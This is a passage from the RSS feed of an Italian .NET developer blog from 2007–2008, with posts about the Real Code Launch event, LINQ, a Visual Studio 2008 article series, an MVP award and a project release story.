Launch&lt;/strong&gt;. Inutile dire che si tratter&amp;#224; ancora una volta di un evento della serie &amp;quot;Real Code&amp;quot;, ovvero solo codice, niente slide! Con &lt;a href="http://blogs.aspitalia.com/sm15455" onclick="blankUrl(this.href); return false;"&gt;Stefano&lt;/a&gt; avr&amp;#242; il piacere di fare una sessione tecnica su LINQ. Non si tratter&amp;#224; della solita presentazione che spiega che cosa sia LINQ, ma di una sessione estremamente pratica in cui risponderemo ad una semplice domanda: &amp;quot;Ora che abbiamo LINQ, come possiamo usarlo davvero nelle nostre applicazioni?&amp;quot;. Del resto il titolo della sessione &amp;#232;: &lt;strong&gt;Real LINQ Applications&lt;/strong&gt;.&lt;/p&gt; &lt;p&gt;Vi mostreremo un'ora di esempi di codice e casi di utilizzo reale. Stefano ha preparato molto materiale estremamente interessante, io per l'occasione ho scritto un'intera applicazione utile a presentare un caso significativo di utilizzo di LINQ to SQL. Per chi mi conosce, sa che agli eventi Real Code rilascio sempre una soluzione intera a disposizione dei partecipanti. Anche in quest'occasione sar&amp;#224; la stessa cosa! Chi ha avuto modo di partecipare al Real Code Day 2 ed ha apprezzato la mia sessione architetturale, non pu&amp;#242; mancare a questa... Continueremo il discorso iniziato allora e faremo posto a LINQ to SQL per capirne l'utilit&amp;#224;, l'applicabilit&amp;#224;, i vantaggi e le controindicazioni.&lt;/p&gt; &lt;p&gt;Successivamente all'evento metteremo a disposizione di chi vorr&amp;#224; consultarlo tutto il codice mostrato. Mi risulta che verr&amp;#224; pure fatta una registrazione delle sessioni, ma questo non deve giustificarvi a non partecipare. Ci saranno un sacco di premi e altre sorprese che potrete vedere solo se sarete presenti. Dal momento che le iscrizioni sono chiuse visto che abbiamo raggiunto la &lt;a href="http://blogs.aspitalia.com/daniele/post2249/lancio-roma.aspx" onclick="blankUrl(this.href); return false;"&gt;quota di 400 iscritti&lt;/a&gt;, qualcuno potrebbe decidere di rimanere a casa perch&amp;#232; non ha potuto iscriversi. Venite lo stesso, facciamo entrare tutti, non mandiamo indietro nessuno. Venite senza timori, ci divertiremo insieme!&lt;/p&gt; &lt;p&gt;Vi aspettiamo l&amp;#224;, non fatevi scrupoli, veniteci a salutare, fatevi riconoscere! Sar&amp;#224; un vero piacere potervi salutare di persona.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/ASPItalia.com/" rel="tag"&gt;ASPItalia.com&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Eventi, ASPItalia.com</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2250/Real-Code-Launch-2008-Aspettiamo-LA.aspx</guid><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2250/Real-Code-Launch-2008-Aspettiamo-LA.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2250.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2250</trackback:ping></item><item><title>Oggi parte lo speciale per il lancio di Visual Studio 2008</title><link>http://blogs.aspitalia.com/rickyvr/post2244/Oggi-Parte-Speciale-Lancio-Visual-Studio-2008.aspx</link><pubDate>Mon, 25 Feb 2008 09:15:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2244' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Con il mio articolo intitolato &lt;a href="http://www.winfxitalia.com/articoli/netfx3.5/netfx-35-visual-studio-2008.aspx" target="_blank"&gt;.NET Framework 3.5 e Visual Studio 2008: cosa c'è di nuovo&lt;/a&gt; parte oggi lo speciale dedicato al .NET Framework 3.5, Visual Studio 2008, Windows Server 2008 e SQL Server 2008. Il mio articolo vuole essere una sorta di editoriale che introduce lo speciale e che fornisce una panoramica sull'argomento, rimandando agli altri articoli per ottenere gli approfondimenti del caso.&lt;/p&gt;&lt;p&gt;Come ho avuto modo di dire già &lt;a href="http://blogs.aspitalia.com/rickyvr/post2224/Speciale-Lancio-Visual-Studio-2008.aspx" target="_blank"&gt;in precedenza&lt;/a&gt;, lo speciale è composto da dieci articoli e prevede la partecipazione di altrettanti autori. La sua durata sarà di due settimane con la pubblicazione di un articolo al giorno. Ci sarà un mucchio di roba da leggere nei prossimi giorni... :) &lt;/p&gt;&lt;p&gt;Visto che ci sono, colgo l'occasione per dare a tutti i membri della nostra community appuntamento a Milano giovedì prossimo per l'&lt;a href="http://www.microsoft.com/italy/launch2008/default.mspx" target="_blank"&gt;evento ufficiale di lancio&lt;/a&gt; promosso da Microsoft. Io sarò da quelle parti giovedì e probabilmente (purtroppo non sono ancora sicuro) anche venerdì. Ovviamente poi ci sarà il &lt;a href="http://www.aspitalia.com/eventi/12/Real-Code-Launch-2008-Roma.aspx" target="_blank"&gt;Real Code Launch&lt;/a&gt; a Roma, ma questa è un'altra storia che merita un post a parte...&lt;/p&gt;&lt;p&gt;Partecipate in massa anche perchè i premi contenuti nel &lt;a href="http://blogs.aspitalia.com/rickyvr/post2219/Indovina-Contiene-Kit-.aspx" target="_blank"&gt;kit di partecipazione&lt;/a&gt; sono davvero notevoli! :P&lt;/p&gt;&lt;p&gt;Intanto buona lettura a tutti!&lt;/p&gt;&lt;p /&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/.NET_Framework/" rel="tag"&gt;.NET Framework&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/.NET_Framework_3.5/" rel="tag"&gt;.NET Framework 3.5&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Visual_Studio/" rel="tag"&gt;Visual Studio&lt;/a&gt;, &lt;a href="http://tags.aspitalia.com/Windows_Server/" rel="tag"&gt;Windows Server&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>ASPItalia.com, .NET Framework, .NET Framework 3.5, Visual Studio, Windows Server</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2244/Oggi-Parte-Speciale-Lancio-Visual-Studio-2008.aspx</guid><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2244/Oggi-Parte-Speciale-Lancio-Visual-Studio-2008.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2244.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2244</trackback:ping></item><item><title>Lo speciale per il lancio di Visual Studio 2008</title><link>http://blogs.aspitalia.com/rickyvr/post2224/Speciale-Lancio-Visual-Studio-2008.aspx</link><pubDate>Thu, 14 Feb 2008 00:15:18 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2224' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;E' con estremo piacere che tramite un &lt;a href="http://www.aspitalia.com/focuson/1022/speciale-lancio-visual-studio-2008-sql-server-2008.aspx" onclick="blankUrl(this.href); return false;"&gt;focuson su ASPItalia.com&lt;/a&gt; ieri mattina ho avuto modo di dare notizia della nuova iniziativa che stiamo mettendo in piedi in questi giorni in vista dell'imminente lancio di Visual Studio 2008. Si tratta dell'enorme speciale dedicato al .NET Framework 3.5 e dintorni che verr&amp;#224; pubblicato a partire dalla fine del mese di febbraio e che coinvolger&amp;#224; tre dei quattro siti del network, ovvero ASPItalia.com, WinFXItalia.com e il neo-nato LINQItalia.com.&lt;/p&gt; &lt;p&gt;Dieci articoli, uno al giorno, per ben due settimane consecutive! Non era mai capitato prima di fare qualcosa di cos&amp;#236; ambizioso e corposo, ma questa volta abbiamo proprio deciso di esagerare. Come responsabile dell'area articoli di ASPItalia.com mi sono ritrovato a coordinare gran parte delle attivit&amp;#224; di pubblicazione. E' stato ed &amp;#232; tuttora un lavoro molto intenso che ha coinvolto, me compreso, ben dieci autori diversi. A loro va il mio ringraziamento: come sempre ho la fortuna di trovarmi a collaborare con persone con una marcia in pi&amp;#249;, capaci di fare davvero la differenza, il che rende il risultato di quanto facciamo davvero super. Non abbiamo ancora terminato tutto quanto, ma siamo a buon punto e i contenuti che ho avuto modo di leggere finora sono davvero notevoli.&lt;/p&gt; &lt;p&gt;Non mi resta che darvi appuntamento nella sezione articoli a fine mese... Buon lancio e buon speciale a tutti. &lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/ASPItalia.com/" rel="tag"&gt;ASPItalia.com&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>ASPItalia.com</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2224/Speciale-Lancio-Visual-Studio-2008.aspx</guid><slash:comments>1</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2224/Speciale-Lancio-Visual-Studio-2008.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2224.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2224</trackback:ping></item><item><title>Indovina cosa contiene il kit :)</title><link>http://blogs.aspitalia.com/rickyvr/post2219/Indovina-Contiene-Kit-.aspx</link><pubDate>Sat, 09 Feb 2008 12:58:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2219' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;I ragazzi di Microsoft Italia si sono inventati una bella iniziativa per promuovere la curiosità e l'interesse prima dell'evento di lancio di Visual Studio 2008 e del relativo roadshow.&lt;/p&gt;&lt;p&gt;Si tratta di indovinare che cosa conterrà il kit che verrà distribuito ai partecipanti. Ai vincitori verrà regalata una camicia come quella degli speaker (nuova!).&lt;/p&gt;&lt;p&gt;Per ulteriori informazioni e per partecipare all'iniziativa, è possibile consulare il post dedicato all'argomento presente sul &lt;a href="http://blogs.msdn.com/italy/archive/2008/02/07/indovinate-cosa-conterr-il-kit-che-distribuiremo-al-lancio.aspx" target="_blank"&gt;Blog di MSDN Italia&lt;/a&gt;. Anche il nostro MVP Lead ha parlato della cosa in un &lt;a href="http://blogs.technet.com/alead_msft/archive/2008/02/07/giro-link-in-vista-del-lancio.aspx" target="_blank"&gt;post del suo blog&lt;/a&gt;... :)&lt;/p&gt;&lt;p&gt;Che dire, un'iniziativa davvero simpatica... Bravi ragazzi!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;[UPDATE DEL 09/02/2008]&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Il mistero è svelato. Il kit conterrà quanto segue (un motivo in più per esserci):&lt;/p&gt;&lt;ul&gt;&lt;li&gt;Windows Server 2008 RTM Enterprise Edition 32 e 64 bit&lt;/li&gt;&lt;li&gt;SQL Server 2008 CTP 5 +  un voucher per richiedere la versione finale&lt;/li&gt;&lt;li&gt;Visual Studio 2008 Standard Edition&lt;/li&gt;&lt;/ul&gt;&lt;p /&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/Visual_Studio/" rel="tag"&gt;Visual Studio&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Eventi, Visual Studio</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2219/Indovina-Contiene-Kit-.aspx</guid><slash:comments>2</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2219/Indovina-Contiene-Kit-.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2219.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2219</trackback:ping></item><item><title>MVP per un altro anno</title><link>http://blogs.aspitalia.com/rickyvr/post2199/MVP-Anno.aspx</link><pubDate>Wed, 02 Jan 2008 20:44:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2199' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;&lt;img alt="MVP Award" hspace="25" src="http://www.riccardogolia.it/images/mvp.gif" align="left" vspace="25" border="0" /&gt;Stamattina ho appreso con enorme piacere di aver conseguito per la terza volta il Microsoft MVP Award. La categoria è sempre la stessa, ovvero &amp;quot;Solutions Architect&amp;quot;.&lt;/p&gt;&lt;p&gt;Colgo l'occasione per ringraziare Microsoft, il nostro MVP Lead nazionale &lt;a href="http://blogs.technet.com/alead_msft/"&gt;Alessandro Teglia&lt;/a&gt; e tutti coloro che hanno reso possibile questa riconferma.&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Ricky</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2199/MVP-Anno.aspx</guid><slash:comments>12</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2199/MVP-Anno.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2199.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2199</trackback:ping></item><item><title>Storia di un rilascio</title><link>http://blogs.aspitalia.com/rickyvr/post2174/Storia-Rilascio.aspx</link><pubDate>Mon, 03 Dec 2007 01:00:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2174' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;E' un po' di tempo che non scrivo nel mio blog. Questo è dovuto principalmente al fatto che ultimamente ho avuto molto da fare (e ne avrò fino a fine anno) con un progetto per un grosso cliente (una multinazionale nel ramo farmaceutico). L'obiettivo del mio lavoro è stato quello di creare i presupposti architetturali per un'applicazione enterprise, che, basandosi su un'interfaccia smart-client e integrandosi con il contesto dei servizi aziendali, fornisse supporto alle operazioni di pianificazione e conduzione delle sperimentazioni di laboratorio.&lt;/p&gt;&lt;p&gt;In questo progetto il mio ruolo è stato, manco a dirlo, quello dell'architetto. Ho coordinato un team di 5 persone sugli aspetti tecnici legati allo sviluppo dell'applicazione e sono stato affiancato da due persone dell'azienda, di cui una era il capo progetto e l'altra era il referente tecnico interno (che mi succederà all'inizio del nuovo anno).&lt;/p&gt;&lt;p&gt;Il team di sviluppo, come detto, è composto da 5 ragazzi, ciascuno proveniente da esperienze molto diverse tra loro, chi ex-developer java, chi ex-sviluppatore python, chi proveniente dal C++ e da VB6, chi developer web con ASP e ASP.NET, chi ex-programmatore in ambiente Dynamics. Insomma, all'inizio del progetto, nessuno era un espertone di applicazioni enterprise in ambito .NET, in particolar modo utilizzando .NET Framework 2.0/3.0 e interfaccia smart-client. Questo avrebbe potuto rappresentare un problema, non lo nego, ma a distanza di tempo posso dire che non è stato così.&lt;/p&gt;&lt;p&gt;Per il progetto, iniziato nel lontano mese di luglio, in fase di start-up furono fissate una serie di date per i rilasci intermedi dell'applicazione. Il primo rilascio (Prototipo 1) era previsto per il 30 novembre scorso, ovvero venerdì scorso. Che dire? Ce l'abbiamo fatta, ma è stata dura!&lt;/p&gt;&lt;p&gt;Il progetto è partito un po' in sordina, i requirement non erano chiari e non si riusciva a far decollare le attività di sviluppo. Questo periodo di incertezza si è protratto però per molto, troppo tempo, dal momento che gli analisti americani non riuscivano a fornire informazioni che non variassero nell'arco delle 24 ore. Come team abbiamo trascorso questo tempo definendo gli standard da adottare nello sviluppo, le pratiche operative e la suddivisione dei compiti, preparando l'ambiente di sviluppo e di debug, nonchè approfondendo alcuni aspetti tecnici tramite lo sviluppo di mini prototipi funzionali e facendo formazione tecnica.&lt;/p&gt;&lt;p&gt;Il risultato è stato che a fine ottobre non avevamo ancora una soluzione su cui lavorare e la prima scadenza si stava avvicinando inesorabilmente. Finalmente, dopo una lunga attesa, nella prima settimana di novembre abbiamo avuto il via libera da parte degli analisti e abbiamo potuto cominciare a lavorare su un insieme di requirement sufficientemente stabile da permettere di definire una soluzione applicativa coerente. Inutile dire che, per come erano andate le cose, pochi avrebbero scommesso sul rilascio del primo prototipo entro la data prevista.&lt;/p&gt;&lt;p&gt;E invece il 30 novembre abbiamo rilasciato la versione 1.0.2.20. In venti giorni abbiamo creato una ventina di build, andando a soddisfare tutti i requisiti funzionali previsti per il primo rilascio. Non è stato facile coordinare le attività, ma personalmente sono riuscito a dare il giusto ritmo, affiancando nello sviluppo a turno ciascuno dei ragazzi del team. Ad oggi abbiamo una soluzione che si compone di più di 600 tipi, considerando anche le classi di unit testing. Da parte mia non mi sono limitato a coordinare, ma ho partecipato attivamente allo sviluppo, realizzando tra l'altro un mini service bus basato su WCF (un layer di integrazione out-of-process) per interoperare coi servizi aziendali del cliente.&lt;/p&gt;&lt;p&gt;Sono molto soddisfatto del lavoro svolto e molto orgoglioso dei ragazzi. Il team ha retto bene, anche perchè so di essere una persona molto esigente. Devo dire però che, rispetto al passato, ho imparato ad accettare le imperfezioni nel codice, adattandomi alla situazione e lasciando un po' più di libertà agli sviluppatori di &amp;quot;sbagliare&amp;quot; e di non seguire ciecamente i dettami architetturali. Proprio per questo, nel prossimo mese avremo da fare un po' di refactoring per consolidare il codice, ma già la versione attuale non è male, considerando le premesse e i tempi di sviluppo.&lt;/p&gt;&lt;p&gt;Ciascuno dei ragazzi ha dato il massimo, sono davvero soddisfatto del modo con cui hanno affrontato la situazione. In rigoroso ordine alfabetico, Alessandro, Lorenzo, Luca, Marco e Patrick si sono dati da fare come poche volte ho avuto modo di sperimentare. Se il progetto è stato rilasciato rispettando lo scheduling e contro ogni previsione, il merito è soprattutto loro... Del resto un architetto da solo è come un allenatore senza squadra: non vincerà mai una partita!&lt;/p&gt;&lt;p&gt;Questa esperienza mi ha insegnato molto, non è facile fare i progetti con persone non espertissime, ma non è impossibile. Anche se sulla carta le esperienze delle persone del team non erano delle migliori, la loro voglia di fare, di imparare e l'impegno hanno colmato il gap, ottenendo un risultato al di là delle aspettative. Come un capitano non può scegliersi i soldati per combattere le sue battaglie, così come architetto non sempre ho la possibilità di scegliermi gli sviluppatori con cui fare i progetti dei clienti. A mio avviso, questa è la vera difficoltà del mio lavoro, al di là degli aspetti tecnici.&lt;/p&gt;&lt;p&gt;A fine mese lascerò il progetto in mano al referente tecnico interno e il team dovrà provare a &amp;quot;camminare&amp;quot; da solo, senza di me. Il mio compito presso il cliente si è esaurito, ma non posso non dire che mi dispiace lasciare un gruppo così affiatato e agguerrito. Grazie ragazzi, siete stati grandi!&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Ricky</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2174/Storia-Rilascio.aspx</guid><slash:comments>8</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2174/Storia-Rilascio.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2174.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2174</trackback:ping></item><item><title>We Love Raf!</title><link>http://blogs.aspitalia.com/rickyvr/post2149/WE-Love-Raf.aspx</link><pubDate>Wed, 17 Oct 2007 13:00:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2149' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;&lt;a href="http://blogs.ugidotnet.org/raffaele" target="_blank"&gt;Raf&lt;/a&gt; è unico nel suo genere.&lt;br /&gt;Se non ci credete, leggete qui: &lt;a href="http://www.weloveraf.com/" target="_blank"&gt;www.weloveraf.com&lt;/a&gt;.&lt;br /&gt;Attenzione: è tutto vero!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/Off_Topic/" rel="tag"&gt;Off Topic&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Varie, Off Topic</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2149/WE-Love-Raf.aspx</guid><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2149/WE-Love-Raf.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2149.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2149</trackback:ping></item><item><title>Articoli in MSDN su Architettura e OOD</title><link>http://blogs.aspitalia.com/rickyvr/post2096/Articoli-MSDN-Architettura-OOD.aspx</link><pubDate>Wed, 18 Jul 2007 08:40:00 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2096' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;In concomitanza con l'ultima uscita della newsletter di MSDN (12 luglio scorso) sono stati pubblicati nel &lt;a href="http://www.microsoft.com/italy/msdn/risorsemsdn/architetti/default.mspx" target="_blank"&gt;Developer Center di Microsoft Italia&lt;/a&gt; i miei ultimi due articoli dedicati ai temi architetturali. Se nelle precedenti uscite mi sono dedicato prevalentemente alla trattazione di un tema interessante ed esteso come quello dei Design Pattern (serie di sei articoli: &lt;a href="http://blogs.aspitalia.com/rickyvr/post2013/Articoli-MSDN-Italia.aspx" target="_blank"&gt;Design pattern per esempi&lt;/a&gt;) usando un approccio pragmatico con tanti esempi di codice a corredo della trattazione teorica, in questa occasione ho preferito scrivere qualcosa di piu' concettuale e astratto.&lt;/p&gt;&lt;p&gt;I due articoli forniscono tutta una serie di definizioni utili a chiarirsi le idee relativamente all'&lt;a href="http://www.microsoft.com/italy/msdn/risorsemsdn/architetti/caparch.mspx" target="_blank"&gt;architettura del software&lt;/a&gt; e al &lt;a href="http://www.microsoft.com/italy/msdn/risorsemsdn/architetti/responsability.mspx" target="_blank"&gt;disegno object-oriented&lt;/a&gt;. Nella trattazione di questi argomenti mi sono ispirato a definizioni e classificazioni note in letteratura usando fonti autorevoli come Roger S. Pressman, Robert C. Martin e Craig Larman. Nell'articolo dedicato all'OOD non meno importante e' stato il contributo indiretto di &lt;a href="http://blogs.ugidotnet.org/luka/" target="_blank"&gt;Luca Minudel&lt;/a&gt;, compagno di avventure con il wiki di UGIdotNET e con GUISA (Luca e' citato in fondo all'articolo tra i riferimenti). &lt;/p&gt;&lt;p&gt;Credo che questi articoli, come &lt;a href="http://www.microsoft.com/italy/msdn/risorsemsdn/architetti/destino.mspx" target="_blank"&gt;quello di Maurizio Cunico&lt;/a&gt; pubblicato un po' di tempo fa nello stesso contesto, possano essere interessanti per inquadrare meglio le attivita' svolte dall'architetto. L'articolo di Maurizio, di cui consiglio vivamente la lettura, e' sicuramente un buon inizio per cominciare a chiarirsi le idee sul ruolo dell'architetto.&lt;/p&gt;&lt;p&gt;I miei due articoli hanno, se vogliamo, un taglio piu' accademico, ma ritengo che possano essere non meno interessanti rispetto a quello di Maurizio, quanto meno per fornire ulteriori spunti di riflessione. Chi mi conosce, sa che questi temi mi stanno particolarmente a cuore. Spero che gli articoli piacciano, a chi avra' voglia di darmi un feedback, non manchero' senz'altro di rispondere.&lt;/p&gt;&lt;p&gt;Buona estate e buone vacanze a tutti!&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Tags:&lt;/strong&gt; &lt;a href="http://tags.aspitalia.com/Architettura/" rel="tag"&gt;Architettura&lt;/a&gt;&lt;/p&gt;&lt;hr /&gt;&lt;p&gt;&lt;a href="http://www.aspitalia.com/"&gt;(C) 2008 ASPItalia.com Network - All rights reserved&lt;/a&gt;&lt;/p&gt;</description><dc:creator>Riccardo Golia</dc:creator><category>Architettura</category><guid isPermaLink="true">http://blogs.aspitalia.com/rickyvr/post2096/Articoli-MSDN-Architettura-OOD.aspx</guid><slash:comments>0</slash:comments><wfw:comments>http://blogs.aspitalia.com/rickyvr/post2096/Articoli-MSDN-Architettura-OOD.aspx#feedback</wfw:comments><wfw:commentRss>http://blogs.aspitalia.com/rickyvr/CommentRSS2096.aspx</wfw:commentRss><trackback:ping>http://blogs.aspitalia.com/services/trackback.aspx?PostID=2096</trackback:ping></item><item><title>E anche per quest'anno abbiamo finito...</title><link>http://blogs.aspitalia.com/rickyvr/post2080/Questanno-Finito.aspx</link><pubDate>Thu, 14 Jun 2007 13:11:44 GMT</pubDate><description>&lt;img src='http://blogs.aspitalia.com/services/counter_rss.aspx?PostID=2080' border="0" style="width:1px; height:1px;" /&gt;&lt;p&gt;Con l'articolo del 19 giugno p.v. dedicato alla gestione della persistenza con NHibernate a cura di &lt;a href="http://www.aspitalia.com/autori/marco_de_sanctis.aspx" onclick="blankUrl(this.href); return false;"&gt;Marco De Sanctis&lt;/a&gt; anche per quest'anno siamo giunti all'interruzione delle pubblicazioni degli articoli su ASPItalia.com in concomitanza con il periodo estivo.&lt;/p&gt; &lt;p&gt;Inutile dire che si è trattato di un altro anno (&lt;a href="http://blogs.aspitalia.com/rickyvr/post1660/chiusura-estiva-area-articoli.aspx" onclick="blankUrl(this.href); return false;"&gt;come il precedente&lt;/a&gt;) davvero soddisfacente, durante il quale abbiamo pubblicato &lt;strong&gt;15 articoli &lt;/strong&gt;in circa 9 mesi, senza considerare gli articoli dello speciale dedicato ad Orcas condiviso con WinFXItalia.com che include altri &lt;strong&gt;4 articoli&lt;/strong&gt; (per un totale di &lt;strong&gt;19 articoli&lt;/strong&gt;).&lt;/p&gt; &lt;p&gt;Gli speciali che durante l'annata hanno coinvolto articoli su ASPItalia.com sono stati in tutto 3:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;Speciale sul nostro libro "ASP.NET 2.0 per tutti" (6 articoli)&lt;/li&gt; &lt;li&gt;Speciale su ASP.NET AJAX (2 articoli e 3 script)&lt;/li&gt; &lt;li&gt;Speciale su .NET Framework 3.5 Orcas (5 articoli)&lt;/li&gt;&lt;/ol&gt; &lt;p&gt;Gli articoli pubblicati sono elencati di seguito in ordine di data:&lt;/p&gt; &lt;ol&gt; &lt;li&gt;&lt;strong&gt;Gestione della persistenza con NHibernate&lt;/strong&gt;&lt;br /&gt;Marco De Sanctis&lt;br /&gt;19/06/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Introduzione a LINQ (WinFXItalia.com e ASPItalia.com)&lt;br /&gt;&lt;/strong&gt;Stefano Mostarda - Microsoft MVP&lt;br /&gt;08/06/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Le novità di ASP.NET Orcas beta 1 (ASPItalia.com e WinFXItalia.com)&lt;/strong&gt;&lt;br /&gt;Daniele Bochicchio - Microsoft MVP&lt;br /&gt;07/06/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Introduzione a Visual Basic 9 (WinFXItalia.com e ASPItalia.com)&lt;br /&gt;&lt;/strong&gt;Cristian Civera - Microsoft MVP&lt;br /&gt;06/06/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Introduzione a C# 3.0 (WinFXItalia.com e ASPItalia.com)&lt;br /&gt;&lt;/strong&gt;Riccardo Golia - Microsoft MVP&lt;br /&gt;05/06/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Le novità in .NET Framework 3.5 (WinFXItalia.com e ASPItalia.com)&lt;br /&gt;&lt;/strong&gt;Alessandro Catorcini - Microsoft Corp.&lt;br /&gt;04/06/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;HttpModule di ASP.NET per esempi&lt;/strong&gt;&lt;br /&gt;Stefano Mostarda - Microsoft MVP&lt;br /&gt;08/05/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Introduzione alla libreria AJAX Control Toolkit&lt;/strong&gt;&lt;br /&gt;Ugo Lattanzi&lt;br /&gt;10/04/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Creazione e installazione di un Windows Service&lt;/strong&gt;&lt;br /&gt;Cristiano Degiorgis&lt;br /&gt;27/02/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;ASP.NET AJAX 1.0 Server Extensions&lt;/strong&gt;&lt;br /&gt;Stefano Mostarda - Microsoft MVP&lt;br /&gt;16/02/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Introduzione a Microsoft AJAX Library&lt;/strong&gt;&lt;br /&gt;Alessandro Gallo - Microsoft MVP&lt;br /&gt;13/02/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Gestione delle transazioni con il .NET Framework 2.0&lt;/strong&gt;&lt;br /&gt;Ugo Lattanzi&lt;br /&gt;30/01/2007&lt;/li&gt; &lt;li&gt;&lt;strong&gt;Localizzazione e globalizzazione di applicazioni web - Seconda 